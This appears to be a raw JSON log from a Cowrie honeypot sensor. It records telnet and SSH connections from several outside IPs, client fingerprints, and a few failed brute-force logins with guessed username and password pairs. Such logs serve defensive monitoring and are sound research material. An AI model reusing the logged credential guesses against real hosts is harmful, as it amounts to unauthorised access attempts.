{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:56.637563Z","src_ip":"157.66.34.121","session":"f26af427eac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.532272815704346,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:57.115817Z","src_ip":"185.26.126.47","session":"0120ba234ef1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.35585045814514,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:57.531506Z","src_ip":"209.159.146.115","session":"78333b8b37f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60578,"dst_ip":"159.203.135.109","dst_port":23,"session":"b573689c4f3e","protocol":"telnet","message":"New connection: 209.159.146.115:60578 (159.203.135.109:23) [session: b573689c4f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:57.832300Z"}
{"eventid":"cowrie.session.closed","duration":36.179322957992554,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:58.622020Z","src_ip":"209.159.146.115","session":"66ae155e0ccd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":53544,"dst_ip":"159.203.135.109","dst_port":22,"session":"1197e9362af3","protocol":"ssh","message":"New connection: 186.13.24.118:53544 (159.203.135.109:22) [session: 1197e9362af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:58.714210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:58.719128Z","src_ip":"186.13.24.118","session":"1197e9362af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35382,"dst_ip":"159.203.135.109","dst_port":23,"session":"14dd75b407ec","protocol":"telnet","message":"New connection: 209.159.146.115:35382 (159.203.135.109:23) [session: 14dd75b407ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:58.837907Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:58.870764Z","src_ip":"186.13.24.118","session":"1197e9362af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.47523832321167,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:59.056553Z","src_ip":"209.159.146.115","session":"136fa58c1fc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35990,"dst_ip":"159.203.135.109","dst_port":23,"session":"17a4179ae595","protocol":"telnet","message":"New connection: 209.159.146.115:35990 (159.203.135.109:23) [session: 17a4179ae595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:59.067955Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"testest","message":"login attempt [test/testest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:54:59.506009Z","src_ip":"186.13.24.118","session":"1197e9362af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.51455903053284,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:00.425264Z","src_ip":"209.159.146.115","session":"8a22683eecd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:00.660993Z","src_ip":"186.13.24.118","session":"1197e9362af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.400611877441406,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:01.755206Z","src_ip":"209.159.146.115","session":"602182bc41d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.9315984249115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:01.941455Z","src_ip":"209.159.146.115","session":"bb987468a901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.293721199035645,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:02.010480Z","src_ip":"209.159.146.115","session":"43d21c897434","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.210080862045288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:03.156569Z","src_ip":"209.159.146.115","session":"549609fb88ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.62675642967224,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:03.636818Z","src_ip":"209.159.146.115","session":"f729579343af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.896061897277832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:04.777483Z","src_ip":"209.159.146.115","session":"994e9fa506e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.545581102371216,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:05.328645Z","src_ip":"209.159.146.115","session":"8a707f1f3d7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.441712617874146,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:05.637146Z","src_ip":"209.159.146.115","session":"83072268490d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36790,"dst_ip":"159.203.135.109","dst_port":23,"session":"b09019281a57","protocol":"telnet","message":"New connection: 209.159.146.115:36790 (159.203.135.109:23) [session: b09019281a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:05.771711Z"}
{"eventid":"cowrie.session.closed","duration":37.900625467300415,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:06.206988Z","src_ip":"209.159.146.115","session":"843dd42f6e52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39346,"dst_ip":"159.203.135.109","dst_port":23,"session":"f208fc0014d4","protocol":"telnet","message":"New connection: 209.159.146.115:39346 (159.203.135.109:23) [session: f208fc0014d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:06.293053Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50528,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8890fdcde03","protocol":"telnet","message":"New connection: 209.159.146.115:50528 (159.203.135.109:23) [session: c8890fdcde03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:08.308365Z"}
{"eventid":"cowrie.session.closed","duration":120.00101089477539,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:08.341770Z","src_ip":"45.6.79.189","session":"6bb76e7dea4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.6.79.189","src_port":39313,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec0e3456343c","protocol":"telnet","message":"New connection: 45.6.79.189:39313 (159.203.135.109:23) [session: ec0e3456343c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:08.888219Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54576,"dst_ip":"159.203.135.109","dst_port":23,"session":"357137c75d90","protocol":"telnet","message":"New connection: 209.159.146.115:54576 (159.203.135.109:23) [session: 357137c75d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:09.429616Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55616,"dst_ip":"159.203.135.109","dst_port":23,"session":"93c2bd70f381","protocol":"telnet","message":"New connection: 209.159.146.115:55616 (159.203.135.109:23) [session: 93c2bd70f381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:09.705616Z"}
{"eventid":"cowrie.session.closed","duration":34.276946783065796,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:11.379742Z","src_ip":"209.159.146.115","session":"b7a20faa8a9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33020,"dst_ip":"159.203.135.109","dst_port":23,"session":"d17a271f4319","protocol":"telnet","message":"New connection: 209.159.146.115:33020 (159.203.135.109:23) [session: d17a271f4319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:11.452244Z"}
{"eventid":"cowrie.session.closed","duration":3.5295867919921875,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:11.837739Z","src_ip":"209.159.146.115","session":"c8890fdcde03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34538,"dst_ip":"159.203.135.109","dst_port":23,"session":"25a46bc6995d","protocol":"telnet","message":"New connection: 209.159.146.115:34538 (159.203.135.109:23) [session: 25a46bc6995d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:11.913165Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40752,"dst_ip":"159.203.135.109","dst_port":23,"session":"4402c3b8ac69","protocol":"telnet","message":"New connection: 209.159.146.115:40752 (159.203.135.109:23) [session: 4402c3b8ac69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:12.603113Z"}
{"eventid":"cowrie.session.closed","duration":32.2838921546936,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:12.883009Z","src_ip":"209.159.146.115","session":"5e99346dbf7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46316,"dst_ip":"159.203.135.109","dst_port":23,"session":"436fe3f4c1fd","protocol":"telnet","message":"New connection: 209.159.146.115:46316 (159.203.135.109:23) [session: 436fe3f4c1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:13.267160Z"}
{"eventid":"cowrie.session.closed","duration":33.385366916656494,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:17.523966Z","src_ip":"209.159.146.115","session":"58829f5251da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39220,"dst_ip":"159.203.135.109","dst_port":23,"session":"1108c0474afe","protocol":"telnet","message":"New connection: 209.159.146.115:39220 (159.203.135.109:23) [session: 1108c0474afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:18.029518Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39412,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc1dd533200a","protocol":"telnet","message":"New connection: 209.159.146.115:39412 (159.203.135.109:23) [session: cc1dd533200a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:18.181302Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40696,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8164d2db45f","protocol":"telnet","message":"New connection: 209.159.146.115:40696 (159.203.135.109:23) [session: b8164d2db45f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:18.594200Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42318,"dst_ip":"159.203.135.109","dst_port":23,"session":"1991f4bcdba2","protocol":"telnet","message":"New connection: 209.159.146.115:42318 (159.203.135.109:23) [session: 1991f4bcdba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:19.031449Z"}
{"eventid":"cowrie.session.closed","duration":31.223897695541382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:20.696579Z","src_ip":"209.159.146.115","session":"a0dfb6273234","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.73772048950195,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:22.494787Z","src_ip":"209.159.146.115","session":"c923a84c33e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.95627474784851,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:22.570778Z","src_ip":"209.159.146.115","session":"b27aadefeb3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39912,"dst_ip":"159.203.135.109","dst_port":23,"session":"791eba5ccaae","protocol":"telnet","message":"New connection: 209.159.146.115:39912 (159.203.135.109:23) [session: 791eba5ccaae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:23.996478Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":45740,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5b1b2e3ce9c","protocol":"ssh","message":"New connection: 80.94.92.182:45740 (10.17.0.5:22) [session: c5b1b2e3ce9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:24.091871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:24.141497Z","src_ip":"80.94.92.182","session":"c5b1b2e3ce9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:24.249593Z","src_ip":"80.94.92.182","session":"c5b1b2e3ce9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"321","message":"login attempt [sol/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:24.975949Z","src_ip":"80.94.92.182","session":"c5b1b2e3ce9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:26.167027Z","src_ip":"80.94.92.182","session":"c5b1b2e3ce9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46360,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae0cc7a42864","protocol":"telnet","message":"New connection: 209.159.146.115:46360 (159.203.135.109:23) [session: ae0cc7a42864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:26.452734Z"}
{"eventid":"cowrie.session.closed","duration":33.683979749679565,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:27.295881Z","src_ip":"209.159.146.115","session":"268606b46ceb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97259068489075,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:27.788453Z","src_ip":"209.159.146.115","session":"1ab05fea767c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53832,"dst_ip":"159.203.135.109","dst_port":23,"session":"3faaf857e4be","protocol":"telnet","message":"New connection: 209.159.146.115:53832 (159.203.135.109:23) [session: 3faaf857e4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:28.276640Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53880,"dst_ip":"159.203.135.109","dst_port":23,"session":"a06ba4d482dd","protocol":"telnet","message":"New connection: 209.159.146.115:53880 (159.203.135.109:23) [session: a06ba4d482dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:28.296194Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55478,"dst_ip":"159.203.135.109","dst_port":23,"session":"f04babab8ff3","protocol":"telnet","message":"New connection: 209.159.146.115:55478 (159.203.135.109:23) [session: f04babab8ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:28.705206Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56198,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf19a4c51803","protocol":"telnet","message":"New connection: 209.159.146.115:56198 (159.203.135.109:23) [session: bf19a4c51803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:28.836372Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49878,"dst_ip":"159.203.135.109","dst_port":22,"session":"4248dd80dd5a","protocol":"ssh","message":"New connection: 159.203.92.129:49878 (159.203.135.109:22) [session: 4248dd80dd5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:28.906726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:28.911369Z","src_ip":"159.203.92.129","session":"4248dd80dd5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:28.915732Z","src_ip":"159.203.92.129","session":"4248dd80dd5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56572,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cad0d21ba65","protocol":"telnet","message":"New connection: 209.159.146.115:56572 (159.203.135.109:23) [session: 5cad0d21ba65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:28.922118Z"}
{"eventid":"cowrie.login.failed","username":"angel","password":"666666","message":"login attempt [angel/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:28.931782Z","src_ip":"159.203.92.129","session":"4248dd80dd5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.99731731414795,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:29.011958Z","src_ip":"209.159.146.115","session":"6c3f366f5a06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.91029143333435,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:29.395631Z","src_ip":"209.159.146.115","session":"fe24809ce727","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:29.938446Z","src_ip":"159.203.92.129","session":"4248dd80dd5a","protocol":"ssh"}
